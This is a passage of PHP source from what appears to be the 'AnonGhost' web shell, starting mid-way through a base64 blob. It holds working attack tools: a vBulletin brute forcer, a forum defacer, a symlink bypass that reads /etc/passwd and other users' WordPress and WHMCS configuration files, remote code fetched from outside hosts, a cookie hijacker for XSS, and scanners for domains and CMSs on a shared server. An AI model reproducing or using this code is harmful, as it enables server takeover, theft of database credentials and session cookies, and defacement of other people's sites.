qV3ZOREM0a2k2MXNqREFlUWRmMStVU0QyQlZnYy82ODVybkV2dk5jZndnN3R0NHZyR1dCRDlYdU1NYXc3aWY0QUw1Wm1QLzVnbnMzTWl0N2dQdEcxMTM1WUhpdnF0N1ltaEl4OG5VU3ViV0kzemd1TXoyWngxN21yMGo5anRyT091M1M1NkxkNWZBWFBFNytpdGo3NHBmcEE5czR5TmlSVHlQZGhZZVUxODZUakx4bE1DdERFZVkwL0lqY2tKK2d2Y3FzZDNBRTJzdnhkaTV6eDZvY1A0eGN0UCtMZFE0N2o4MU9FcjRpNFlxeEwrMW1mV3EvWit4bGZJSC8xdFBGT29FY2VnQ3h6MnhyWFBxalExVDRIeHpMckJmMTFDdVBiWFdTODArL1Vhc0dkOWNweVI0VVdQZFdTdWFXckZqWHNrRGsxekxWTDVYNkFzVjZ6SHJXRFN4K3dqaUZleFJxVE95dGJIN0F0UVZsWmhTbkIvaEwyR2VNY1pjVGk3TGp1akdERVlWK0ZvYTBaeTY3TFBXbjFvTGZtdmtWWEdjWG5vQTdyL1VkM0NPc1A0ZThaeFlWNzNZdmREejByamt1clRRU1R6ZjRXWnJRUGd2MDYrd0Q2MmRIVXZ1aWJnbm5WMDM0TDhNUGd0LzN1TVpyZDkxQWoyTkJ1NDE4dEoxUlhOZUovYTdzbTUwZGFZT1ZQL3FUWHlDbWRwVFJUK2d2U294VTZrYk12aWQwVENObnBEVzRucmMvY09NNy9DVDlCejlrdG1mWlV6bjdPeWhtcWZwZDJsKzZ0OUtIQ2kvYnNFOTRoTnNPTmRVdzViSk9nTDlwN1VRSnhYOFVad21lRGp2MFZ2S3JLVmc3MHNNaVFmcGZmbWN4RFYzTW1mQzVlSVBlTnFjVTYxbjBlTDVITFhndVpZOHp3WGhFZG0yc2tmaUtMRS94ZGFUSElEWHhaWFdkVDdmZUJKek45YVp2dWEzOHV6Y1owMGx2b0lmQ2ptYnFFRm5uM2NOblhXTkE5VkFhL0NGOVhUSHJ4WHNUaGNPelBRdlZGK2dHZFNyZUFidnkwYm9nYWx0RCtaQmU3dnVNUWVLYTF4N1dCZWtmZlpDaFBlRi9BYWJNaGd3NjEvNkVOSXZhVHhiWE9PMDRJQU03bGF3UEZuVDB4dVF6VTl5M1JyeGtuL0tDZmNVenREWTdyMHBWc2p2QnZiWVBxNnhDbGhSakNQa1lGbWlaei9QMkZ6SFVGdTZEalorK3F6Tk9Gekkzd3FlS0s4dVp4U3p4N3JzMFFzQWwzMkdVTW56YXMzeHZxejMyS1B2N2hyVytnbzkzc0RzaVNIdWJhTTFpdXZqWlkremxpVml3UDBsOTl3VE5oTTJWdmJ6SWw3UVp2TnNDTnowT1UvRlpzSTQ5STIvbjZ6Zlh1UW9aMlB1b3lYMks0NXZrYi9XZWduTjVENVZSUmVhRjkwekZVNFJlNjVoM0hkMzM3dFFlelQwY1hGTkRvNjVGOURNZ1RjNG1WcTBMWkVQNWxtZlk1aUhwUnZnRFoxcld5ZXU2QjMzaDdDUCsyeUtKZmh5MWcwbmEwY2p6Wm9lVGxaOFBvaFh4bmFmK2N1Wjl6Tnl2YnJlZ3ZlazArNzdQTk96Ym5HZk5vRWx4bEZoRlpvM1hmakhHS1RlRUxFci82LzdQRzlVclVEOFpHclZCaDZXRkQwSDYvQ1YzSEk5VTlGd3lvVUREbkQvQmo4MHVMcGQ0cXFnOXhzOXdua0dTWnpLUjlZUjFCcnU0MVhqdk90czV4UGF2TGtmQWUvNmZOcjYyZVBKbC9mQUdlWEVTZnk0eHd1T2VZMnloZnM5NXg0MVdRa3N5V2dWNGVzUjlZVFBhMVp6RjlwZDJIdVFLKzk5M2svSTJOVG44OGFmNWo0OThUWDdNWEJFQWNQTnk0MllrUTh1MkptSUxhM2xCT01xR0dBL3VqYWdubE8rNDAvdGsvbmE5YnZXbVBSRHNtdU9NelNwK2F5eFo5dkw5VTZpLzVGU25QUExuL1MyNXRrVFhETHZhNVFMVnRUQWlPWmVmdHRuajBLNWpvYnczc1VSNkNsamZLRS82dDZSZGFYcldkL1g4Ty9PdXd4R0dYOWNmeFpyR2VMRS9iWGtldDUxQUdlSFUxYzlManJVM0lQdFhSZTd4MVZiWUZaRDg4eTdSVDViYW9GUGhaNURCV2ZNdjY1TjZrVi9abXRDdElGeklGczdncUdKUG1qRGI5WCtveTR3SHlaMFN5T21DOXA3bmtPdWdZSHpmc0kyNW5YdjAvZ3k3MDNBbjVPbmlRZGoxT3lodnRuSGVzSENOYlNOZWs0YjhZNGU4QjBrOXpBME43V21lQmZ0b0o2TzlTMjlCZGVUanVOWkc1UFhDYXpTR0s5aFQ4VS9QZElFUnBvck5QZDZ3VFI4NWJNT2M1ZnlscDVmQmhObUg0b2NGbGJRNjJ2bHdnL0hlQ2JEeC9QdWhMbklmQSsyVld4WWVEN0I2VDZiYk9nYjVjRjduK2RYR1YwaUxIR2NrSmZ6bm9uenozbHRmSE5QMUxyNERHMXB2WnZOelNzOGkrNUxjSkR3N3FMYnF2VSttdFI1WjZ3MkZxL0VYRVhERnRhZlhEdTg5dG12bXVjaU9UU1BldzdTU0cveWdocFQydTFKdm16WUMveDBMU1B0VjhidnprT2ZPVTMrTG5EM3NrY2RncjVYUFdRK3FtZ1Q2dHBNYjdlaHBjYmRyVkVMNXVWNHpITkIrcHpLRTllTjF1TjhQMU5uSnRmaTZMK01yYXk1M01PdU5UQkJlYi9HODFQSGd3L1NRQWZqVzRlNmpxV1haUi9OUExYK1FDT0plNG4vYTAwbkc3NzMyVTkwSE16emgwcE0zY1BQOGwwTnp2ZFpuekhVZHpYNnZDdmFwVmlUM2dKajNKUE5hTll2NTRMb3pZYXVNMmJtUjJqWkJsZDFHMmdmOElRd2xoeEtqTzJ6T2EwRnZIU2RQWHRPamdkNkRENFBkTzVOVGVGOGZJeTRsVVpHQnh1THJYK01VOFoxOVJ2clB1ODJ6VnIxTnRiWjBCM04yRmxEUjh5NkU3MDQrWVE4TCs2N3VxWkQ4MGxmUElJUDNHTVdaaS9rT0JwTDJxbEUvdWx2cnozT01WMW5XK3Vtc1phSzNoUjJIL3M4YTV6NFpDemc5M3dQUGpjWFZkY1VPYmg0bnJPczRYK2Z0OXMvcXBFdS9SM1hZKzRkTmZ1SU5ldjViWjg5bWtiOUtWNTVnUDM0Ym4xYzhvUDhrZzJQRVV1KzUrSWVnREUzdVFjTFY5YUxiNmNtb09kaG5yV0d6MkNwNnluWEx2T2VuWHZ4VHpBRkxOSjNxWWVVdS9STEVuV2x2NmYxMGh2eFhUaWZnVlMwaDJMRG1BbS8rbzVRdy84SnU3bVdMYTdGcm5yeGhTWmpmZG9udFVSQlgrVWo0cXU0M25hdjFyMmExM2d1MHlOd1hhaGVKdkdSMEdvK2E3RnVUZFRwN2wvcmIrYWd0TTkrdnM4cGZmL01kY2k4MDdEdTh3eldkMG96K0dkOTdibzVtY1BYTVk3Ty83Qkg4eDFEeC9RTGJEbjMwQVhVcmNiMjVIVndkdU83dWVKTzhNdmp6SHRZdHd2dW1JUFJOcGw2ZXRZckMydDNqNWJuNXBteit4RUh2am1JTTJNZ2RVeURvNDFiVjA1MEhWMjhEdmk5dWJZamo1SjF4RzNFemJRYi9ORFd3TVRKRXdlNTZab2xYWElETFBLWlJPVTd3Z0pxSnQ4djhkMkNhcHN3OTd6N1NBMVJxQkZjZjg4NzJHV1BzOHNXdHZlNWpjK3E1Rk5zc0dMREFxNWs4ckhjQXN2blhUN3NrNjU1UjczaDNxTEdkeStITTVSSy82NjE0R0RYa0FrOGNLL0tad25XKzhiSzJadDc3WEZuc1lXTzgxbW1zR1RkWjgvVWQ1QXpQTjZjS3cvaU5POWZ6ekRKVGUzbkNSZFRhK2tzNGdsMmt3ZnVlYzYrNlh1ZmQ2OVUrN0IvK2ZGeDBXanZ5SU41M29lUGpXc1pYU0dlUGZmUW4vakw1LzdHYTkrSG5HZlFqWHc0OTNtK29WaEZOMXVEbDB1dWFtOXJZS1R2bzFYWHVOUWw4MTZTZTB2M0N4OXpGdUV6OUF5bXlTKzI1UkhmVGJkWWx6WGh0YmJRVC9xbHlYMnhTKzBvM3kzRUNyWHoxS3B3U3lIWGNvcjVYRDhxbHA3NzdBbk9PLzNndnU5SUdvdDhycFM0eSthZTF6eFBMckZIMTB6R2grYmVVOTNqSGcyYXI3S0hiQjFESGVmOExQQ2M3MGZOK3gzWVhKK0Q0UTIrS3NScFFwZjZuSEdlU1J5c3czcVEra0Zjc096elhwdDF1ZkRpSUNiVFB1L0UrRnpWWjlyWk5kZXl6M05vMTB1dTh3cTlFOFU2R2tHMTViRkhIKzJ4ejE2TytqVHZ3Q0xsQWR4Z0xuRC8yN0dsL2RIejh2OW5xRlpqcnl1MWd6V2g5cmVBNDJCb09zZi9ZSDM1djZ6dEw3eW5Kcm4rajU1ZWZlekh6ejllL3puKy9ZL2Z4cjhHL3Y2RGU2SDlGeDBLOWw5NlJmalBQLzRMJ1x4MjlceDI5XHgyOVx4M0IiLCIiKTsNCj8+';
  72.     $file = fopen("vbul.php" ,"w+");
  73.     $write = fwrite ($file ,base64_decode($vbul));
  74.     fclose($file);
  75.         chmod("vbul.php",0755);
  76.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost vBulletin Brute Force Beta</b></p><iframe src=vbul.php width=75% height=65% frameborder=0></iframe>"; }
  77.     elseif(isset($_GET['vbcha'])) {
  78.     $vbcha ='PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPjx0aXRsZT5Bbm9uR2hvc3QgVmJ1bGxldGluIEZvcnVtIEluZGV4IENoYW5nZXI8L3RpdGxlPjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3d3dy5pY29uai5jb20vaWNvL3ovcC96cHNpOTBsZmM3LmljbyIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+IGJvZHkgeyBiYWNrZ3JvdW5kOiMxMDEwMTA7YmFja2dyb3VuZC1pbWFnZTogdXJsKGh0dHA6Ly9pOTUyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvYWUxL3ZpcnVzYXdvcm0vYWcvZm9uZGJnX3pwczY1MGY1MDI1LmpwZyk7IGZvbnQtZmFtaWx5OiBDb3VyaWVyIE5ldzsgZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDogNDAwOyBjb2xvcjogIzU4RkFGNDsgdGV4dC1hbGlnbjogY2VudGVyOyB9PC9zdHlsZT48L2hlYWQ+PGNlbnRlcj48YnI+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzZWxmOyA/PiIgbWV0aG9kID0gIlBPU1QiPjx0YWJsZSBib3JkZXIgPSAiMSIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMTYiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXIiIGFsaWduPSJjZW50ZXIiPjx0cj48dGQgaGVpZ2h0PSIxMDUiIHdpZHRoPSI3ODAiPiA8cCBhbGlnbj0iY2VudGVyIj48Yj5Ib3N0IDogPC9iPjxpbnB1dCBjbGFzcz0ic2JveCIgdHlwZT0idGV4dCIgbmFtZT0iZjEiIHNpemU9IjIwIiB2YWx1ZT0ibG9jYWxob3N0Ij4mbmJzcDs8Yj4gIERhdGFCYXNlJm5ic3A7OjwvYj4gPGlucHV0IHR5cGUgPSJ0ZXh0IiBjbGFzcz0ic2JveCIgbmFtZSA9ICJmMiIgc2l6ZT0iMjAiPjwvcD4gPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PGI+VXNlciA6PC9iPiA8aW5wdXQgdHlwZSA9InRleHQiIGNsYXNzPSJzYm94IiBuYW1lID0gImYzIiBzaXplPSIyMCI+IDxiPiZuYnNwO1Bhc3N3b3JkIDo8L2I+Jm5ic3A7IDxpbnB1dCBjbGFzcz0ic2JveCIgdHlwZSA9InRleHQiIG5hbWUgPSAiZjQiIHNpemU9IjIwIj48cD5UYWJsZSBQcmVmaXggOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icHJlZml4IiBjbGFzcz0ic2JveCI+IChPcHRpb25hbCk8L3RkPjwvcD48L3RyPjx0cj48dGQgaGVpZ2h0PSIxNjciIHdpZHRoPSI3ODAiPjxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzx0ZXh0YXJlYSBjbGFzcz0iYm94IiBuYW1lPSJpbmRleCIgY29scz01MyByb3dzPTg+WW91IEFyZSBIYWNrZWQgISEgbG9sIDp2PC90ZXh0YXJlYT48cCBhbGlnbj0iY2VudGVyIj48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIGNsYXNzPSJidXQiIHZhbHVlID0gIkRlZmFjZSBWQiIgbmFtZT0iZm9ydW1kZWZhY2UiPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4=';
  79.     $file = fopen("vbcha.php" ,"w+");
  80.     $write = fwrite ($file ,base64_decode($vbcha));
  81.     fclose($file);
  82.         chmod("vbcha.php",0755);
  83.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost vBulletin Index Changer</b></p><iframe src=vbcha.php width=75% height=65% frameborder=0></iframe>"; }
  84.         elseif(isset($_GET['vbgen'])) {
  85.     $vbgen ='PGh0bWw+PHRpdGxlPkFub25HaG9zdCB2QnVsbGV0aW4gUGFzc3dvcmQgR2VuZXJhdG9yPC90aXRsZT48bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHA6Ly93d3cuaWNvbmouY29tL2ljby96L3AvenBzaTkwbGZjNy5pY28iIHR5cGU9ImltYWdlL3gtaWNvbiIgLz4gPHN0eWxlPiBib2R5LHRhYmxlLCBpbnB1dCxzZWxlY3R7YmFja2dyb3VuZDogIzE1MTUxNTsgYmFja2dyb3VuZC1pbWFnZTogdXJsKGh0dHA6Ly9pOTUyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvYWUxL3ZpcnVzYXdvcm0vYWcvZm9uZGJnX3pwczY1MGY1MDI1LmpwZyk7IGZvbnQtZmFtaWx5OlZlcmRhbmEsdGFob21hOyBjb2xvcjogIzU4RkFGNDsgZm9udC1zaXplOjExcHg7IH0gYTpsaW5rLGE6YWN0aXZlLGE6dmlzaXRlZHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6IHJlZDt9IGE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyBjb2xvcjogcmVkO30gdGFibGUsdGQsdHIsI2dneyBib3JkZXItc3R5bGU6c29saWQ7IHRleHQtZGVjb3JhdGlvbjpib2xkOyB9IHRyOmhvdmVyLHRkOmhvdmVye2JhY2tncm91bmQtY29sb3I6ICNhYWFhYWE7IGNvbG9yOmdyZWVuO30gLm9vOmhvdmVye2JhY2tncm91bmQtY29sb3I6IGJsYWNrOyBjb2xvcjp3aGl0ZTt9IDwvc3R5bGU+IDxjZW50ZXI+IDxicj4gPHRhYmxlIGJvcmRlcj0xPiAgPGJyPiA8Zm9ybSBtZXRob2Q9InBvc3QiPiA8dGQ+PGZvbnQ+IFBsYWludGV4dCA6IDwvZm9udD48L3RkPiA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBsYWludGV4dCIgc2l6ZT0iMzAiPjwvdGQ+PC90cj4gPHRyPjx0ZD48Zm9udD4gU2FsdCA6IDwvZm9udD48L3RkPiA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNhbHQiIHNpemU9IjMwIj48L3RkPjwvdHI+IDwvdGFibGU+IDxicj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZ2VuZXJhdGUiPiA8L2Zvcm0+IDxicj48YnI+IDw/cGhwIGZ1bmN0aW9uIHZidWxsZXRpbigkcGxhaW50ZXh0LCRzYWx0KSB7ICRtZDVmaXJzdCA9IG1kNSgkcGxhaW50ZXh0KTsgJGhhc2ggPSBtZDUoIiRtZDVmaXJzdCAuICRzYWx0Iik7IHJldHVybiAkaGFzaDsgfSBpZiAoaXNzZXQoJF9QT1NUWydwbGFpbnRleHQnXSkpIHsgZWNobyAiPGZvcm0+IDxmb250PiBIYXNoIDogPC9mb250PiA8aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9Ii52YnVsbGV0aW4oJF9QT1NUWydwbGFpbnRleHQnXSwkX1BPU1RbJ3NhbHQnXSkuIiBzaXplPSczNCc+IDwvZm9ybT4iOyB9ID8+IDwvY2VudGVyPiA8L2h0bWw+IDxjZW50ZXI+QW5vbkdob3N0IFRlYW08L2NlbnRlcj4=';
  86.      $file = fopen("vbgen.php" ,"w+");
  87.     $write = fwrite ($file ,base64_decode($vbgen));
  88.     fclose($file);
  89.         chmod("vbgen.php",0755);
  90.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost vBulletin Password Generator</b></p><iframe src=vbgen.php width=75% height=65% frameborder=0></iframe>"; }
  91.     elseif(isset($_GET['bypa'])){echo $bencong."<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Symlink Servers 2013 Bypass Priv8 by Mauritania Attacker</b></p>"; ?><center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font><p><input type=submit name="bypa" value="Extract usernames" /></form></center><?php if(isset($_POST['bypa'])){ ?><center><form method=post><textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd"); foreach($users as $user){ $str=explode(":",$user); echo $str[0]."\n"; } ?></textarea><br><br><input type=submit name=su value="Bypass Configs" /></form></center> <?php } ?>  <?php error_reporting(0);            if(isset($_POST['su'])) { mkdir('anonghost',0755); $rr  = " Options all \n Options +Indexes \n Options +Followsymlinks \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any "; $g = fopen('anonghost/.htaccess','w'); fwrite($g,$rr); $anonghost = symlink("/","anonghost/root"); $rt="<br><a href=anonghost/root><font color=#ff0000 size=2 face=\"Courier New\"> Bypassed Successfully ^_^</font></a>"; echo "<br><br>Check link given below for / folder symlink <br><u>$rt</u></center>"; mkdir('anonghost',0755); $rr  = " Safe_mode = OFF \n Disable_functions = NONE \n Open_basedir = OFF "; $g = fopen('anonghost/php.ini','w'); fwrite($g,$rr); $anonghost = symlink("/","anonghost/root"); mkdir('anonghost',0755); $file = file_get_contents('http://www.johnwatersphotography.com.au/images/USA/log.txt'); $g = fopen('anonghost/ini.php', 'w'); fwrite($g,$file); fclose($g); $anonghost = symlink("/","anonghost/root"); fwrite($f,$r); $consym="<a href=anonghost/><font color=#ff0000 size=2 face=\"Courier New\">configuration files</font></a><br>"; echo "<center><br>The link given below is for configs path symlink, you can view Configs inside the Source Code <br><u><font color=#58FAF4 size=2 face=\"Courier New\">$consym</font></u></center>";  $usr=explode("\n",$_POST['user']); $configuration=array("wp-config.txt","wordpress/wp-config.txt","configuration.txt","blog/wp-config.txt","joomla/configuration.txt","vb/includes/config.txt","includes/config.txt","conf_global.txt","inc/config.txt","config.txt","Settings.txt","sites/default/settings.txt","whm/configuration.txt","whmcs/configuration.txt","support/configuration.txt","whmc/WHM/configuration.txt","whm/WHMCS/configuration.txt","whm/whmcs/configuration.txt","support/configuration.txt","clients/configuration.txt","client/configuration.txt","clientes/configuration.txt","cliente/configuration.txt","clientsupport/configuration.txt","billing/configuration.txt","admin/config.txt"); foreach($usr as $uss ){ $us=trim($uss); foreach($configuration as $c) { $rs="/home/".$us."/public_html/".$c; $r="anonghost/".$us." .. ".$c; symlink($rs,$r); }}}}
  92.     elseif(isset($_GET['dbne'])) {  
  93.     $dbne ='http://www.ppteo.es/wp-content/themes/calotropis/css/css.txt';
  94.     $file = fopen("dbne.php" ,"w+");
  95.     $write = fwrite ($file ,file_get_contents($dbne));
  96.     fclose($file);
  97.         chmod("dbne.php",0755);
  98.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost MySql Interface</b></p><iframe src=dbne.php width=80% height=60% frameborder=0></iframe>"; }
  99.     if(isset($_GET['cuki'])){echo $bencong.'<p class="font-effect-shadow-multiple" style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Cookie Hijacking</b></p>';
  100.      
  101.         global $cookie_highjacker;
  102.         echo "<center><h2><font color=#FF0000>NOTICE</font></h2><hr width='50%'><br>";
  103.         if(function_exists('fopen') && function_exists('fwrite'))
  104.         {
  105.             $cook=gzinflate(base64_decode($cookie_highjacker));
  106.             $han_le=fopen("cookie.php", "w+");
  107.             if($han_le)
  108.             {
  109.                 fwrite($han_le, $cook);
  110.                 echo "Yes... Cookie highjacker is generated.<br /> Name : <a style='color:green;' target=_blank href=cookie.php>cookie.php</a></font><br /> Rename it as 404.php or what you like and highjack cookie of your target.<br />It is usefull in XSS<br />It will make a file <font color=red>configuration.txt</font> in this direcory and save the cookie value in it. :p cheers...<br /><br /><hr width='50%'><br /><br /></center>";
  111.             }
  112.             else
  113.             {
  114.                 echo "<font color=red>Sorry... Generate COOKIE HIGHJACKER failed<br /><br /><hr /><br /><br /></center></div>";
  115.             }
  116.         }
  117.     }  
  118.     elseif(isset($_GET['agdom'])) {
  119.     $ojo ='ICAgIDxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjx0aXRsZT5Eb21haW5zICYgVXNlcnMgVmlld2VyPC90aXRsZT48bGluayByZWw9IlNIT1JUQ1VUIElDT04iaHJlZj0iaHR0cDovL3d3dy5pY29uai5jb20vaWNvL2wvbS9sbWE5OTJkcjQxLmljbyI+DQo8c3R5bGU+DQogICAgIA0KICAgIGJvZHksdGFibGV7YmFja2dyb3VuZDogYmxhY2s7IGJhY2tncm91bmQtaW1hZ2U6IHVybChodHRwOi8vaTk1Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL2FlMS92aXJ1c2F3b3JtL2FnL2ZvbmRiZ196cHM2NTBmNTAyNS5qcGcpOyBmb250LWZhbWlseTpWZXJkYW5hLHRhaG9tYTsgY29sb3I6IHdoaXRlOyBmb250LXNpemU6MTBweDsgfQ0KICAgICANCiAgICBBOmxpbmsge3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjogcmVkO30NCiAgICAgDQogICAgQTphY3RpdmUge3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjogcmVkO30NCiAgICAgDQogICAgQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6IHJlZDt9DQogICAgIA0KICAgIEE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyBjb2xvcjogcmVkO30NCiAgICAgDQogICAgI25ldyxpbnB1dCx0YWJsZSx0ZCx0ciwjZ2d7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLXN0eWxlOnNvbGlkO3RleHQtZGVjb3JhdGlvbjpib2xkO30NCiAgICAgDQogICAgdHI6aG92ZXIsdGQ6aG92ZXJ7dGV4dC1hbGlnbjpjZW50ZXI7YmFja2dyb3VuZC1jb2xvcjogI0ZGRkZDQzsgY29sb3I6Z3JlZW47fQ0KICAgICANCiAgICA8L3N0eWxlPjxicj4NCg0KPD8NCiAgICBlY2hvICINCiAgICAgDQogICAgPHAgYWxpZ249Y2VudGVyPjwvcD4NCiAgICAgDQogICAgPHAgYWxpZ249Y2VudGVyPjxicj5EZXZlbG9wcGVkIGJ5IE1hdXJpdGFuaWEgQXR0YWNrZXIgPC9wPjxjZW50ZXI+IjsNCiAgICAgDQogICAgIA0KICAgICANCiAgICAkZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiAgICAgDQogICAgIA0KICAgICANCiAgICBpZighJGQwbWFpbnMpeyBkaWUoIjxiPiMgY2FuJ3QgUmVhZCAtPiBbIC9ldGMvbmFtZWQuY29uZiBdIEJ5cGFzcyBNYW51YWxseSBvciB3aXRoIHBlcmwgc2NyaXB0IDopIik7IH0NCiAgICAgDQogICAgIA0KICAgICANCiAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPg0KICAgICANCiAgICA8dHIgYmdjb2xvcj1ncmVlbj48dGQ+RG9tYWluczwvdGQ+PHRkPnVzZXJzPC90ZD48L3RyPiI7DQogICAgIA0KICAgICANCiAgICAgDQogICAgZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsNCiAgICAgDQogICAgIA0KICAgICANCiAgICBpZihlcmVnaSgiem9uZSIsJGQwbWFpbikpew0KICAgICANCiAgICAgDQogICAgIA0KICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOw0KICAgICANCiAgICBmbHVzaCgpOw0KICAgICANCiAgICAgDQogICAgIA0KICAgIGlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsNCiAgICAgDQogICAgIA0KICAgICANCiAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw0KICAgICANCiAgICAgDQogICAgIA0KICAgIGVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48L3RyPiI7IGZsdXNoKCk7DQogICAgIA0KICAgICANCiAgICAgDQogICAgfX19DQogICAgIA0KICAgICANCiAgICAgDQogICAgZWNobyAiPC90YWJsZT4NCiAgICAgDQogICAgPHAgYWxpZ249J2NlbnRlcic+DQogICAgIA0KICAgIA0KICAgICANCiAgICBBbm9uR2hvc3QgaXMgRXZlcnl3aGVyZSANCiAgICAgDQogICAgPC9wPg0KICAgICANCiAgICAiOw0KICAgICANCiAgICAgDQogICAgIA0KICAgID8+DQogICAgIA==';
  120.     $file = fopen("agdom.php" ,"w+");
  121.     $write = fwrite ($file ,base64_decode($ojo));
  122.     fclose($file);
  123.         chmod("agdom.php",0755);
  124.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Domains and Users</b></p><iframe src=agdom.php width=75% height=65% frameborder=0></iframe>"; }  
  125.      
  126.     elseif(isset($_GET['cmsde']))
  127.         {echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost CMS Detector</b></p>";
  128.         ?>
  129.         <form action="?y=<?php echo $pwd; ?>&x=cmsde" method="post">
  130.             <br><br>
  131.         <?php
  132.     if(!file_exists('ag.tmp')){
  133.     @fopen('ag.tmp', 'w');
  134.      
  135.     echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  136.     echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
  137.      
  138.     $p = 0;
  139.      
  140.     if(is_readable("/var/named")){
  141.     $list = scandir("/var/named");
  142.     $current_dir = posix_getcwd();
  143.     $dir = explode("/",$current_dir);
  144.     foreach($list as $domain){
  145.     if(strpos($domain,".db"))
  146.     {
  147.             $domain = str_replace('.db','',$domain);
  148.             $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  149.            
  150.     error_reporting(0);
  151.      
  152.     $link = $pageURL.'pee/'.$owner['name'];
  153.      
  154.     cms_add($link,$domain,$owner['name'],"WordPress");
  155.     cms_add($link,$domain,$owner['name'],"Joomla");
  156.     cms_add($link,$domain,$owner['name'],"vBulletin");
  157.     cms_add($link,$domain,$owner['name'],"WHMCS");
  158.     cms_add($link,$domain,$owner['name'],"PhpBB");
  159.     cms_add($link,$domain,$owner['name'],"MyBB");
  160.     cms_add($link,$domain,$owner['name'],"IPB");
  161.     cms_add($link,$domain,$owner['name'],"SMF");
  162.     cms_add($link,$domain,$owner['name'],"Drupal");
  163.     cms_add($link,$domain,$owner['name'],"e107");
  164.     cms_add($link,$domain,$owner['name'],"Seditio");
  165.     cms_add($link,$domain,$owner['name'],"osCommerce");
  166.      
  167.     }
  168.     }
  169.     }
  170.     }else{
  171.     echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  172.     echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
  173.     $content = file_get_contents($pageURL.'ag.tmp');
  174.     echo $content;
  175.     }
  176.     }
  177.        
  178.     elseif(isset($_GET['0jo'])) {
